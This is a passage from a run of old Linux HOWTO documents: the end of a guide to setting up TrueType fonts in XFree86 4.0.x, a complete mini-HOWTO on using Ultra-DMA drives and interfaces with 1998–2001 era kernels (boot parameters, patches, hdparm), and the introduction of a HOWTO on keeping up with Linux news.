  • 0.0.2: This release cleans up some errors I wrote about Netscape font scaling.
  • 0.0.1: Initial release.

This document can be found at: http://www.linuxdoc.org/HOWTO/mini/TT-XFree86.html

1.4 Credits

I'd like to thank Bear Giles for his Debian TTF howto which brought me on the right path :o).

Of course, credit should also go to the XFree86 crew for the enormous effort of maintaining XFree86, and Joerg Pommnitz for writing ttmkfdir.

Also I'd like to pass a BIG big thank you to the LDP for building and maintaining a network of helping hands which already guided many people through the hard to overcome the learning curve Linux has.

Thanks to Joe Meadows for notifying me that this howto probably described an illegal act in version 0.0.2 and earlier.

1.5 Translations

I currently don't know of any translations of this mini-HOWTO, if you want to make one, just do it and either submit it yourself, or send it to me and I will credit you and publish it.

Any comments or suggestions can be mailed to my mail address: bartek@pt.lu


TrueType Fonts with XFree86 4.0.x mini-HOWTO: Procedure

 Next Previous Contents

2. Procedure

Get a set of TrueType fonts (for example from one of the many sites making fonts availiable for download) and do the following as root at the command line:

  • mkdir /usr/X11R6/lib/X11/fonts/Truetype
  • cp /home/joeuser/yourdownloaddirectory/*.ttf /usr/X11R6/lib/X11/fonts/Truetype
  • cd /usr/X11R6/lib/X11/fonts/Truetype
  • ttmkfdir > fonts.scale
  • mkfontdir

Now if you have a working installation of Windows on one of your partitions, you must use the fonts directly from there, copying them to a directory of your Linux partition is considered *illegal*. First read up on how to get your windows partition detected and working in Linux (most distributions do that at installation time, and by default), then as root do the following:

  • cd /etc/X11
  • your-favourite-editor XF86Config In some X distributions this file is used with a number added to it (for example: XF86Config.4). You will have to find out which file your X11R6 uses. You can do this by typing: less /var/log/XFree86* and then instead edit the file stated in the log.
  • Now, in the editor find the section Files and the lines with FontPath, just add FontPath "/yourwinpartition/windows/fonts/" at the bottom of this list. (yourwinpartition must be replaced with the mount point of your windows partition)
  • cd /winpartition/windows/fonts
  • ttmkfdir > fonts.scale
  • mkfontdir

This will make all the fonts on your Windows partition work correctly in X.

There you go. You will now have all of your TrueType fonts working. If you want to add fonts, just move/copy those [*.ttf files] into the aforementioned directory, and repeat the process.

Netscape has problems with these fonts, you have to check the "Allow Scaling" setting in the Fonts dialog, don't feel distracted by the fact that it only shows font sizes 0 and 12. Mozilla has no such problems. Opera neither.

The mkfontdir executable should be included with your XFree 4.0.x distribution.

If you are missing ttmkfdir, you can obtain it here: http://www.joerg-pommnitz.de/TrueType/ttmkfdir.tar.gz

The latest verion of XFree86 (currently 4.0.2) can be found at: http://www.xfree86.org


The Linux Ultra-DMA Mini-Howto

Brion Vibber, brion@pobox.com

v3.01, 6 December 2001

This document is intended to explain how to use Ultra-DMA aka Ultra-ATA aka Ultra33 and Ultra66 hard drives and interfaces with Linux. The most recent version of this mini-Howto can be obtained in HTML format at http://pobox.com/~brion/linux/Ultra-DMA.html.

1. Introduction and Disclaimer

  • 1.1 Disclaimer
  • 1.2 Credits
  • 1.3 Document History
  • 1.4 Copying

2. What is Ultra-DMA and why do I want it?

  • 2.1 IDE, EIDE, & ATAPI
  • 2.2 Bus Master DMA
  • 2.3 Ultra-DMA aka Ultra-ATA aka Ultra33 aka...
  • 2.4 Just how ``Ultra'' is it anyway?
  • 2.5 How does UDMA compare to SCSI?

3. Using your UDMA hard drive with an EIDE interface

4. Using your hard drives with a UDMA interface

5. Offboard PCI UDMA interfaces

  • 5.1 Promise Ultra33
  • 5.2 Promise Ultra66
  • 5.3 Artop ATP850UF
  • 5.4 Adding device files

6. Onboard UDMA interfaces

  • 6.1 Intel FX, HX, VX, TX, LX, and BX
  • 6.2 The VIA VP2 and Related Chipsets
  • 6.3 TX Pro and other ``Pro'' boards
  • 6.4 HPT 366

7. Unified IDE Patches

8. Activating and Deactivating UDMA

  • 8.1 Using kernel boot parameters
  • 8.2 Using hdparm

9. Problems

  • 9.1 The UDMA Blacklist
  • 9.2 Are you overclocking?
  • 9.3 Is your BIOS current?
  • 9.4 If you still can't get it to work!

10. If you have some information about UDMA stuff that's not in this mini-howto...


The Linux Ultra-DMA Mini-Howto: Introduction and Disclaimer

 Next Previous Contents

1. Introduction and Disclaimer

This document is intended to explain how to use Ultra-DMA aka Ultra-ATA aka Ultra33 and Ultra66 hard drives and interfaces with Linux. In many cases there is no difficulty in using them, but some tweaking can increase performance. In other cases, you need to go to extraordinary lengths simply to access your hard drives.

1.1 Disclaimer

The information in this is document is, to the best of my knowledge, correct, and should work. However, there may be typos, there may be mysterious transmission errors, and there may be strange incompatibilities within your own system that prevent the techniques described herein from working properly. So... before you go fiddling around with you hard drive, BACK UP ANY DATA YOU WANT TO KEEP! If you are not already performing regular backups, please start doing so for your own good.

1.2 Credits

Michel Aubry - UDMA-enabled VIA-related patch for <=2.0.33 & more info, grand unified UDMA patch for 2.0.34+

Andrew Balsa - Provided some general UDMA info and the udma-generic patch for Intel TX, SiS, and VP1 on <=2.0.33; also the grand unified UDMA patch for 2.0.34+

Maxime Baudin - French translation

Bokonon - ``Controller'' vs. ``interface''

John G. - VIA VP2 patch for <=2.0.33 & info

Martin Gaitan - Promise Ultra33 ide0/ide1 installation workaround

Andre M. Hedrick - current Linux IDE subsystem maintainer

Håvard Tautra Knutsen - Norwegian translation

Norman Jacobowitz - Bugged me to add info on the VP3

John Levon - Info on TX Pro mobos

Peter Monta - Info on using two Ultra33 cards

Masayoshi Nakano - Japanese translation

Gadi Oxman - The Promise Ultra33 patch for <=2.0.34 & finding the secret numbers for the workaround

Andy Pearce - Suggested adding info on the additional device files for hde-h

Andrei Pitis - LILO patch

Brion Vibber - The document itself

1.3 Document History

v3.01, 6 December 2001: Relicensed under GNU Free Documentation License; no content changes.

v3.0, 9 November 1999: Finally found time to update some key changes such as the relocation of the IDE patch archive to the Kernel.org archives... pesky school! Updated all sunsite links to new metalab.unc.edu or www.linuxdoc.org

v2.1, 27 May 1999: Corrects some minor omissions and errors from 2.0 and adds information on the Promise Ultra66 and 2.2/2.3 kernels.

v2.0, 7 August 1998: Major updates and almost total restructuring of the document into onboard (motherboard) and offboard (add-in cards) interfaces; the Grand Unified UDMA patch(a part of the Jumbo patch) for 2.0.35. Put credits in alphabetical order by last name. Changed ``controller'' to ``interface'' in many cases to be more technically correct. Added info on enabling/disabling UDMA, the blacklist, and more!

v1.45, 6 July 1998: Minor updates - Red Hat 5.1 and 2.0.34 patch for Promise Ultra33, LILO patch for booting off of PCI interfaces such as the Promise Ultra33

v1.41, 3 May 1998: Fixed a couple of typos, added translators to credits.

v1.4, 28 April 1998: UDMA-Generic patch, some more general info. Copying section added.

v1.3, 5 March 1998: VIA VP3 info, better patching instructions, pointer to more recent Promise patch.

v1.2, 27 January 1998: Additional Promise workaround info.

v1.1, 21 January 1998: New info about VIA chipset, installing around the Promise Ultra33, and enabling Bus Master & UDMA transfer modes.

v1.0, 19 January 1998: More or less complete, first version done in SGML.

1.4 Copying

Copyright (c) 1998-2001 Brion L. Vibber

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.1 or any later version published by the Free Software Foundation; with the Invariant Sections being "Introduction and Disclaimer", with no Front-Cover Texts, and with no Back-Cover Texts.

You should have received a copy of the GNU Free Documentation License along with this document; if you did not, you may find it at http://www.gnu.org/copyleft/fdl.html.


The Linux Ultra-DMA Mini-Howto: What is Ultra-DMA and why do I want it?

 Next Previous Contents

2. What is Ultra-DMA and why do I want it?

Here's a brief overview of IDE-based drive technologies:

2.1 IDE, EIDE, & ATAPI

These are older drive technologies. Most non-SCSI hard drives and drive interfaces that you can buy today or are likely to be using are EIDE, although many of the larger drives now available are UDMA.

2.2 Bus Master DMA

Bus Master DMA is a technology for increasing the speed of hard disk data transfers which requires support from the motherboard and the BIOS, and at least some support from the drive.

You can learn more at http://developer.intel.com/design/pcisets/busmastr/FAQs.htm.

2.3 Ultra-DMA aka Ultra-ATA aka Ultra33 aka...

Ultra-DMA has many names, but we'll just call it UDMA in here.

UDMA is a more advanced technology which provides for even faster throughput, up to 33.3 MB/s in UDMA mode 2 and 66.7 MB/s in UDMA mode 4, twice to four times that of EIDE, for much lower prices than SCSI. Many new computers come with large UDMA drives and UDMA interfaces, and it's possible to add a UDMA interface card (such as the Promise Ultra33 or Ultra66) to an existing system to boost speed, even on older non-UDMA drives.

You can learn great details about UDMA at http://www.quantum.com/src/whitepapers/ultraata/

Note that cable length should be kept shorter for UDMA, compared to plain DMA, preferably less than 30 cm (12") maximum length though 18 inches will usually be fine. 66 MB/s requires a special 80-conductor cable and should definately not be longer. If you get a lot of CRC errors, try using a shorter cable.

2.4 Just how ``Ultra'' is it anyway?

Before we get any farther, let's clear up a misconception. That 33 or 66 MB/sec figure is the burst transfer rate, and it's not something you're going to see very often. To explain, here is a clip from udmageneric's UDMA.txt:

Burst (instantaneous) transfer rates are supposed to go from 16.6MB/s (PIO
mode 4) to 16.6MB/s (DMA mode 2) up to 33MB/s (UDMA). In his patch against
kernel 2.1.55, Kim-Hoe Pang actually checked the UDMA burst transfer rate
with a logic analiser: 60ns/word, which translates into 33MB/s.

Note that burst transfer rates only affect data transfers to/from the EIDE
drive cache (476kB for the IBM 6.4GB drive), and IMHO are not particularly
relevant for most Linux users.

The Linux kernel uses as much RAM as possible to cache hard disk data
accesses, and so if data is not in the kernel cache there is little chance
that it will be in the (much smaller) hard disk cache.

Much more relevant is the sustained transfer rate, the speed at which data can be transferred from the drive to main memory where it can be used. An easy way to measure the sustained transfer rate is to use hdparm, for instance ``hdparm Tt /dev/hda'' to measure the rate of the first IDE device.

Here is some data gathered after extensive testing, using the hdparm utility
(also written by Mark Lord):

PIO mode 4 transfer rates under Linux:   +/- 5.2MB/s

DMA mode 2 transfer rates under Linux:   +/- 7.2MB/s

UDMA mode 2 transfer rates under Linux:  +/- 9.8MB/s

As you can see, UDMA is still almost twice as fast as plain EIDE and significantly faster than plain bus mastering DMA. Most current UDMA drives will give you between 10 and 15 MB/s using UDMA mode 2 (33 MB/s) or 4 (66 MB/s) enabled.

Also, using DMA vastly reduces CPU usage during disk I/O vs PIO.

2.5 How does UDMA compare to SCSI?

I don't have any hard numbers to give you, but the general consensus is that high-end SCSI can give better performance than UDMA. However if you've looked at the price tags on any hard drives lately you'll notice that UDMA drives tend to be much less expensive. The performance/price ratio favors UDMA in most cases.


The Linux Ultra-DMA Mini-Howto: Using your UDMA hard drive with an EIDE interface

 Next Previous Contents

3. Using your UDMA hard drive with an EIDE interface

This is easy to do. Since all UDMA drives are fully EIDE backward-compatible, just plunk your drive on your EIDE interface like it was any old hard drive and Linux should have no problems detecting or using it. However, you will of course be limited to the slower speed of EIDE.


The Linux Ultra-DMA Mini-Howto: Using your hard drives with a UDMA interface

 Next Previous Contents

4. Using your hard drives with a UDMA interface

Well, there is good news and there is bad news. The good news is that a UDMA interface can be used with both UDMA hard drives and legacy EIDE hard drives, and will be a lot faster than an EIDE interface.

The bad news is that the old stock kernels (2.0.x) do not currently support UDMA very well. The new 2.2.x kernels do support UDMA33, however, and kernel patches are available to add UDMA support for kernels that lack it.

In addition, certain UDMA interfaces that are add-in cards rather than built into the motherboard require either a patch or some trickery to use on older kernels. That is why this document exists - to explain how to get the patches and work the trickery.


The Linux Ultra-DMA Mini-Howto: Offboard PCI UDMA interfaces

 Next Previous Contents

5. Offboard PCI UDMA interfaces

These are UDMA interfaces on PCI cards that can be used to add UDMA support to an existing computer without replacing the motherboard, or for adding support for an additional four drives to a machine which has had its onboard interfaces filled. They can also be found preinstalled in some computers, especially Gateway 2000 and Dell machines.

Most of them are not supported by the old stable kernels (2.0.x), but many should work with a 2.2.x kernel - the Red Hat 6.0 and SuSE 6.1 distributions are based on 2.2.x kernels, as are the most recent versions of most other distros. However some of the latest cards (the Promise Ultra66 for instance) won't work even with the current 2.2.x kernels, if you have this or can't get a newer distribution then you must apply a kernel patch or upgrade to a newer kernel version. If you need to install Linux onto a hard drive on one of these interfaces in this case, you will need to use a few odd tricks.

5.1 Promise Ultra33

This is a PCI card that has two UDMA channels on it, supporting up to four drives total. You can look up specifications & pricing at http://www.promise.com. This card shipped in early model Gateway 2000 Pentium II systems.

Kernels 2.0.35 and later and all 2.2.x kernels support the Ultra33 and you should have no trouble installing a distribution that uses these kernels. However, the older stable kernels (2.0.34 and below) do not, and since most older Linux distributions include these older kernels it can be a little difficult to get Linux installed if you can't or don't want to use a newer version (for instance if you are standardized on a particular version of a distribution throughout your organization).

Installing Linux with the Ultra33

Although there is a patch for the Ultra33 interface, it is not very easy to apply a patch and recompile your kernel if you have not installed Linux yet! So, here is a workaround which allows you to install. Thanks to Gadi Oxman for the following information on getting the interface settings:

If we can access the console with the installation disk, we can also
use "cat /proc/pci" to display the Promise interface settings:

    RAID bus interface: Promise Technology Unknown device (rev 1).
      Vendor id=105a. Device id=4d33.
      Medium devsel.  IRQ 12.  Master Capable.  Latency=32.
      I/O at 0xe000.   (a)
      I/O at 0xd804.   (b)
      I/O at 0xd400.   (c)
      I/O at 0xd004.   (d)
      I/O at 0xc800.   (e)

and pass "ide2=a,b+2 ide3=c,d+2" as a command line parameter to the kernel.

Note that the numbers probably are not the same as what you will have. Just as an example, the parameters to use for the above set of numbers would be ``ide2=0xe000,0xd806 ide3=0xd400,0xd006''. If you are only using the first channel on the Ultra33 (for instance, if you only have one drive, or two if they are master and slave on the same channel), then you won't need to specify ide3.

Red Hat 5.1: Boot with the boot diskette and press enter when prompted. The kernel will load, and then you will be asked for a language, keyboard type, and installation method. You may be prompted for additional information about the source media; it doesn't matter right now what you tell it as long as you can get to the next step. Next you should see a screen titled ``Select Installation Path''; press Alt-F2 now to get to a command prompt. Run ``cat /proc/pci'', write down the numbers as above, and reboot from the boot disk. This time, type ``linux ide2= (this is where you put the numbers like shown above) ide3=(more numbers)''. It should now be able to install onto your hard disk without difficulty, however LILO will probably not be able to install; instead make a boot floppy and boot it with the same parameters until you can patch LILO and and the kernel.

Red Hat 5.0 and Slackware 3.4: These are similar, but with the wrinkle that the setup programs ignore /dev/hde-h (the drives on ide2 and ide3). In order to install to or from these drives it is necessary to override one or both of the onboard interface's channels. However be sure not to override a device that you need to install; for instance if you are installing from a CD-ROM drive on /dev/hdd (ide1 - onboard interface) to a hard drive on /dev/hde (ide2 - the Ultra33), you should override the non-essential ide0 with ide2 and leave ide1 intact. Assuming the numbers above you would boot with ``ide0=0xe000,0xd806''. Red Hat 5.0 will give you a shell prompt if you use the rescue disk capability, and Slackware includes a shell in the regular installation process. However Red Hat 5.0 is difficult to boot after installation; if you have problems you could try downloading a Slackware boot disk from ftp://ftp.cdrom.com/pub/linux/slackware-3.5/bootdsks.144/ and using that to boot.

With another Linux distribution you will have to improvise a bit, but the process should be about the same as the above.

IMPORTANT: Without the patch (discussed in the section Unified IDE), the kernel needs these boot parameters in order to access your hard disk! Therefore it is very important that when you configure LILO, either on the hard disk or on a boot floppy, that you give it the exact same parameters that you gave when installing. Otherwise your system won't boot! It should be possible to give them to LILO when you boot (ie, press Shift, type in ``linux ide2=.....'' each time you boot), but only if you kept the numbers! It is recommended that you patch your kernel as soon as possible so you will not have to worry about that anymore; once you are booting with a patched kernel, you can get rid of the boot parameters. Also, as far as I know there is no way to pass boot parameters to a plain kernel boot floppy (as made with ``make zdisk''), you must use LILO or another loader (such as LOADLIN) that lets you pass boot parameters.

However, unpatched kernels and installation programs often have a difficult time actually using ide2 and ide3, even if the drives are detected properly. So if you can't get Linux to install using the above technique, try specifying ide0 or ide1 instead of ide2 or ide3 (thanks to Martin Gaitan for this technique). This essentially replaces the on-board interface with the Promise Ultra33 as far as the kernel is concerned, and you can follow the directions in the next section as if you had physically moved it. Note that if you're using an IDE CD-ROM drive connected to your on-board interface to install from, you will want to make sure that you do not take over the interface that the CD is on or you will not be able to install! If the CD is hda or hdb, use ide1 for your hard drive, and if it is hdc or hdd, then use ide0.

Installing Linux Around the Ultra33

If you cannot get the software workaround to work, you will have to try a more brute force approach. Here's an alternative method that is virtually guaranteed to work, but will require you to open up your computer and mess about in it. NOTE: If you are not familiar with the process of connecting and disconnecting IDE drives, read the manuals that came with your computer, your hard drive, and/or the Promise Ultra33 before attempting this! If you screw something up and don't know how to put it back, you could end up being sorry!

That being said, it's all really quite simple. Most motherboards these days have built-in EIDE interfaces. Disconnect your hard drive from the Ultra33 and connect it to the onboard interface. If you have other IDE devices, such as a CD-ROM, tape, or ZIP drive, on your oboard interface, it is easiest if you either add the hard drive on an unused channel (the secondary instead of the primary) or temporarily displace a device that you don not need immediately (such as ZIP or tape). Install Linux. Download and apply the Promise UDMA patch (see next section).

Now you are ready to move the drive back onto the Promise... almost. To be safe, make a kernel-image boot floppy (cd /usr/src/linux ; make zdisk), which you will be able to use to boot your system in case LILO doesn't work. Actually, to be very safe, make two and put one away for now.

Okay, now it is time to think a little... if you have just one hard drive and it is going to be on the Promise, then it will most likely be /dev/hde (a and b are for the primary onboard interface, c and d for the secondary onboard interface). If you are going to put any other drives on it, then the slave of the Promise's first channel will be /dev/hdf, the master of the second will be /dev/hdg, and the slave of the second will be /dev/hdh.

Edit /etc/fstab, and change all the partitions of the hard drives you are moving from the onboard drives (/dev/hda, hdb, etc) to their new locations on the Promise (/dev/hde, hdf, etc). If you had to displace any devices (such as a CD-ROM or ZIP drive) that you want to leave on the onboard interface, then change them to their new locations as well. For instance, if your CD-ROM was originally the master on the primary channel (/dev/hda), but you put your hard disk there and had to bump the CD to the slave (/dev/hdb) or to the secondary channel (/dev/hdc), and now you want to put it back, then change it to /dev/hda.

If you are using LILO, reconfigure LILO to use the new location of the drive (LILO configuration is beyond the scope of this document, if you do not know how, read the LILO mini-HOWTO), or else it probably will not be able to boot unless you use that boot floppy I had you make, which you will also want to configure to boot off the new partition. This is done using the rdev command. Put the floppy in the drive and type ``rdev /dev/fd0 /dev/hde1''. Of course that's assuming your root partition is the first on your first UDMA drive. If not (mine is /dev/hde7, for instance), then obviously use the appropriate partition number!

Reboot. Your system should now work fine.

Patching for the Ultra33

Kernels 2.0.35 and later support the Promise Ultra33 natively; download an upgrade from your Linux distribution or from http://www.kernel.org.

For instructions on how to compile the kernel, read the Kernel HOWTO.

Using two Ultra33 cards in one machine

This is currently not working correctly... don't do it right now unless you're willing to fiddle with the kernel to try to get things to work.

5.2 Promise Ultra66

This is essentially the same as the Ultra33 with support for the new UDMA mode 4 66 MB/sec transfer speed. Unfortunately it is not yet supported by 2.2.x kernels.

There is a patch for 2.0.x and 2.2.x kernels availabe at http://www.kernel.org/pub/linux/kernel/people/hedrick, and support is included in the 2.3.x development kernel series at least as of 2.3.3.

However to get far enough to patch or upgrade the kernel you'll have to pull the same dirty tricks as for the Ultra33 as in the section above, or else use a boot disk image provided by Promise

5.3 Artop ATP850UF

This card is supported by the unified IDE code. Installation of Linux onto a system with one of these as the interface for the target disk may be similar to the workarounds for the Promise Ultra33.

5.4 Adding device files

The tertiary and quaternary IDE interfaces (ide2 and ide3) use device files of the form /dev/hde* through /dev/hdh*. On older kernels these devices were not automatically created, so you may need to add them manually for things to work properly.

This can be done easily if you have a current copy of the Linux kernel source installed; simply run /usr/src/linux/scripts/MAKEDEV.ide and it will create all relevant device files.


The Linux Ultra-DMA Mini-Howto: Onboard UDMA interfaces

 Next Previous Contents

6. Onboard UDMA interfaces

These are UDMAcapable drive interfaces built into motherboards. They use the standard IDE I/O ports and so are fully usable at the slower nonUDMA speeds on an unpatched 2.0.x kernel such as are used when installing Linux. Thus they should not cause any difficulties during installation, and patching for UDMA speed is a welcome luxury instead of a necessary step. Some UDMA support is in the latest 2.0.x kernels I believe, and is built into current 2.2.x kernels for the Intel chipsets.

6.1 Intel FX, HX, VX, TX, LX, and BX

Thanks again to Gadi for this info:

Bus mastering DMA support for the Intel TX chipset is available in 2.0.31
and above.

In older kernels (such as Slackware 3.4's 2.0.30), the interface will be used in the slower EIDE mode. In either case the interface will be automatically detected by the kernel and you should have no trouble using it.

Full UDMA mode 2 support for these chipsets is included in 2.2.x kernels and the unified IDE patch; see Unified IDE.

6.2 The VIA VP2 and Related Chipsets

This interface also can be autodetected and used in EIDE mode by an unpatched kernel, but if you have one of these, you will want to grab a patch so you can get faster throughput and do away with annoying "unkown PCI device" messages.

One is available at http://www.ipass.net/~prefect/; it is designed for the VIA VP2/97 chipset, found on FIC's PA-2007 and PA-2011 motherboards, but may work on related chipsets. It has been reported that it functions on the newer VIA VP3 chipset, your mileage may vary.

Note that this patch only supports Bus Mastering mode, not full UDMA mode, but it's still better than plain-vanilla EIDE mode. Follow the directions at the patch's site for enabling BMDMA mode.

There is another patch that supports full UDMA mode at http://www.pyreneesweb.com/Udma/udma.html, designed for the VIA VT82C586B, and it ought to work on the VP2, VP3, VPX, P6 and AGP Apollo chipsets. Follow the directions for installation and UDMA enabling there, but it is recommended that you back up any data you want to keep, as there are potential problems with incompatible motherboards. But, if it does work, it should work without problems.

Note that the VP1 chipset is not known to work with these patches, but is supported by the Unified IDE patch.

6.3 TX Pro and other ``Pro'' boards

UDMA is not currently supported for the TX Pro motherboards. They are not the same as a TX mobo, and apparently misreport their DMA capabilities hence the problem. Someone is working on this I hear, so a patch may appear some time in the future but not yet.

6.4 HPT 366

This chipset is on the popular Abit BP-6 motherboard and others, and provides UDMA mode 4 66MB/s support on two generals, generally in addition to two other mode 2 33MB/s channels. It is supported by the current unified IDE code but not in any current release kernels. Installation thus may require workarounds similar to the Promise Ultra33 did on older 2.0.x kernels.


The Linux Ultra-DMA Mini-Howto: Unified IDE Patches

 Next Previous Contents

7. Unified IDE Patches

The unified IDE patches provide support for many chipsets and offboard cards, and are available for 2.0.x, 2.2.x, and the 2.3.x development kernels. If your chipset isn't supported by a current stock kernel, you'll want to patch it with these.

The unified IDE code is maintained by Andre Hedrick, and patches are available at your local kernel archive mirror.

UDMA support is provided for at least the following chipsets, and probably many more I don't know about:

  • All Intel chipsets: FX, HX, VX, TX, LX
  • All SiS chipsets (only SiS5598 tested, but this entire family of chipsets has the same bult-in 5513 interface device).
  • VIA chipsets (only 82C586B tested, but again this family of chipsets has the same interface structure). Special diagnostics support is available for the VIA interfaces.
  • Promise and Artop PCI UDMA interface cards support.
  • Aladdin V (ALi15x3) chipset
  • HPT343 board and HPT366 onboard chipset (caveat, see Abit BP-6)

It is also designed to be easy to extend to support other chipsets.

Here are a few notes from Andre Balsa, the author of an earlier patch:

Performance with IBM UDMA drives on a good motherboard approches the
maximum head transfer rates: about 10 Mb/s (measured with hdparm -t -T).

The Intel TX chipset has a single FIFO for hard disk data shared by
its two IDE interfaces, so using 2 UDMA drives will not yield such a
great improvement over a single UDMA drive.
However, the SiS5598 has two completely separate interfaces, each with
its own FIFO. Theoretically, one could approach 66Mb/s burt transfer
rates on motherboards with the SiS5598 chip, using the md driver and
data striping over two drives. The SiS5571 has the same interface
architecture, I think. I don't have the VIA chipsets datasheets, so I
can't say anything about those.

The Linux IDE (U)DMA kernel driver by Mark Lord has a particularly
low setup time (i.e. latency for data transfers). It is ideal for
frequent, small data transfers (such as those in Linux news servers),
and might be in some cases superior to its SCSI counterparts.


The Linux Ultra-DMA Mini-Howto: Activating and Deactivating UDMA

 Next Previous Contents

8. Activating and Deactivating UDMA

Normally, a UDMA-aware kernel will automatically enable UDMA support for drives and interfaces that support it. In most cases that it doesn't, the kernel either doesn't know how to drive your IDE chipset (get yourself a patch, see above) or doesn't believe it is safe to enable it (meaning you shouldn't!).

However in some cases the drive is capable of UDMA but the BIOS drops the ball and doesn't report it properly, and forcing the issue can be useful.

8.1 Using kernel boot parameters

On kernels 2.1.113 and up, you can enable DMA for both drives on a given IDE interface using the ideX=dma kernel parameter, where X is the number of the interface (the first is 0). This may not actually force UDMA though.

Kernel boot parameters can be set using LILO, LOADLIN, or most Linux boot loaders. For more information see the Bootdisk HOWTO.

8.2 Using hdparm

hdparm is a program used to tweak the parameters of hard drives under Linux. Among other things you can use it to enable or disable UDMA for a drive and test its sustained transfer rate.

The current version of hdparm, is 3.6 as of this writing. Unpatched older versions will not properly report or set information on UDMA, so be sure to upgrade! You can obtain the source code for hdparm 3.6 at http://metalab.unc.edu/pub/Linux/system/hardware/hdparm-3.6.tar.gz.

Compile and install it something like this:

tar zxvf /tmp/download/hdparm-3.6.tar.gz
cd hdparm-3.5
make
su root
(type password when prompted)
make install
cp /usr/local/sbin/hdparm /sbin/hdparm
exit

To enable DMA for a hard drive: hdparm -d1 /dev/hda

To disable DMA for a hard drive: hdparm -d0 /dev/hda

To measure transfer rate of a hard drive: hdparm -Tt /dev/hda

To see what options are enabled for a hard drive: hdparm /dev/hda

To see more info on your drive than you wanted to know: (this will show which UDMA modes are supported/enabled) hdparm -i /dev/hda

For more detailed info (such as how to choose which UDMA mode to use) read the man page (``man 8 hdparm'').


The Linux Ultra-DMA Mini-Howto: Problems

 Next Previous Contents

9. Problems

9.1 The UDMA Blacklist

The following drives are ``blacklisted''. You should not use UDMA with these drives as it may cause corruption of data. To avoid this, the driver should automatically disable DMA for these drives.

  • Western Digital WDC AC11000H, AC22100H, AC32500H, AC33100H, AC31600H - all versions
  • Western Digital WDC AC32100H revision 24.09P07
  • Western Digital WDC AC23200L revision 21.10N21

9.2 Are you overclocking?

If you are, beware! Here is a quote from the old udma-generic documentation:

DON'T OVERCLOCK the PCI bus. 37.5MHz is the maximum supported speed for
the PCI bus. Some (supposedly compatible) UDMA drives will not even take
37.5MHz, but should be OK at 33.3MHz.

In any case, NEVER, NEVER set the PCI bus to 41.5MHz.

The RECOMMENDED safe setting is 33MHz.

9.3 Is your BIOS current?

Here is another clip from the udma-generic docs:

The real work involved in setting up the chips for DMA transfers is done
mostly by the BIOS of each motherboard. Now of course one hopes that the
BIOS has been correctly programmed...

For example, the ASUS SP-97V motherboard with its original BIOS (Rev. 1.03)
would malfunction with the modified Linux driver in both DMA mode 2 and UDMA
modes; it would work well using PIO mode 4, or under Windows 95 in all
modes. I downloaded the latest BIOS image (Rev. 1.06) from the ASUS Web site
and flashed the BIOS EPROM with the latest BIOS revision. It has been
working perfectly ever since (at 66 MHz bus speeds).

What this tells us is that the BIOS sets up the DMA controller with specific
timing parameters (active pulse and recovery clock cycles). My initial BIOS
revision probably had bad timings. Since the Windows 95 driver sets up those
timings by itself (i.e. it does not depend on the BIOS to setup the hard
disk controller timing parameters), I initially had problems only with the
Linux driver, while Windows 95 worked well.

So, let me state this again: this Linux (U)DMA driver depends on the BIOS for
correct (U)DMA controller setup. If you have problems, first check that you
have the latest BIOS revision for your specific motherboard.

...

New BIOS revisions can be downloaded from your motherboard manufacturer's
Web site. Flashing a new BIOS image is a simple operation but one must
strictly follow the steps explained on the motherboard manual.

Late Award BIOS revisions seem stable with respect to UDMA. Anything with a
date of 1998 should be fine.

9.4 If you still can't get it to work!

If nothing in this document proved helpful, or at least not helpful enough to get your machine working, your best bet is to write up a message that fully describes your difficulty, what type of UDMA interface you have, whether it is onboard or on a card, if your drive is actually UDMA or plain EIDE, exactly what configuration of drives you have, what version (distribution & kernel versions if possible) of Linux you are using, and anything else that sounds useful, and post it to the newsgroup comp.os.linux.hardware. You will probably get some helpful suggestions soon.


The Linux Ultra-DMA Mini-Howto: If you have some information about UDMA stuff that's not in this mini-howto...

 Next Previous Contents

10. If you have some information about UDMA stuff that's not in this mini-howto...

Great! If you know something I don't, by all means send it to me ( brion@pobox.com) and I will put it in this document and update it fairly soon.


HOWTO: How to stay updated

Kjetil Bakkeskaug, Kjell Sundby and Stein Gjoen, sgjoen@nyx.net

v0.31, 29 October 2000

This document describes how to stay updated and abreast of the development that takes place in the Linux world of development. Although most of this text is Linux specific there is also a lot of general information on searching efficiently for specific information that can be useful for a wider audience.

1. Introduction

  • 1.1 Copyright
  • 1.2 Disclaimer
  • 1.3 News
  • 1.4 Credits

2. Documentation Installed on Your Hard Disk

3. Subscription

  • 3.1 Usenet News
  • 3.2 Mailing Lists
  • 3.3 Magazines

4. Meetings

5. Searching

6. Conclusion


HOWTO: How to stay updated: Introduction

 Next Previous Contents

1. Introduction

Development in the world of Linux takes place at an incredible speed and it can be difficult to keep abreast with the latest development. This HOWTO gives you a few guidelines on how to get the information you need, fast and efficiently. Most are quite familiar with using the World Wide Web (WWW) and Usenet News but as will be shown here there are many other methods that can be as good or even better.

There are now many new translations available and special thanks go to the translators for the job and the input they have given:

  • Polish translation by Tomasz Sienicki tsca (at) cryogen.com
  • French Translation by Jean-Albert Ferrez Jean-Albert.Ferrez (at) epfl.ch
  • Portuguese Translation by Duarte Loreto dnloreto (at) esoterica.pt
  • Japanese translation by Satoru Takahashi hisai (at) din.or.jp

1.1 Copyright

This HOWTO is copyrighted 1998 Kjell Sundby, Kjetil Bakkeskaug and Stein Gjoen.

Unless otherwise stated, Linux HOWTO documents are copyrighted by their respective authors. Linux HOWTO documents may be reproduced and distributed in whole or in part, in any medium physical or electronic, as long as this copyright notice is retained on all copies. Commercial redistribution is allowed and encouraged; however, the author would like to be notified of any such distributions.

All translations, derivative works, or aggregate works incorporating any Linux HOWTO documents must be covered under this copyright notice. That is, you may not produce a derivative work from a HOWTO and impose additional restrictions on its distribution. Exceptions to these rules may be granted under certain conditions; please contact the Linux HOWTO coordinator at the address given below.

In short, we wish to promote dissemination of this information through as many channels as possible. However, we do wish to retain copyright on the HOWTO documents, and would like to be notified of any plans to redistribute the HOWTOs.

If you have questions, please contact the Linux HOWTO coordinator, at linux-howto@metalab.unc.edu via email.

1.2 Disclaimer

Use the information in this document at your own risk. We disavow any potential liability for the contents of this document. Use of the concepts, examples, and/or other content of this document is entirely at your own risk.

All copyrights are owned by their owners, unless specifically noted otherwise. Use of a term in this document should not be regarded as affecting the validity of any trademark or service mark.

Naming of particular products or brands should not be seen as endorsements.

You are strongly recommended to take a backup of your system before major installation and backups at regular intervals.

1.3 News

Updated links to LinuxNetMag

Did a major link check but linkrot sets in quickly.

Added link to Penguin Magazine.

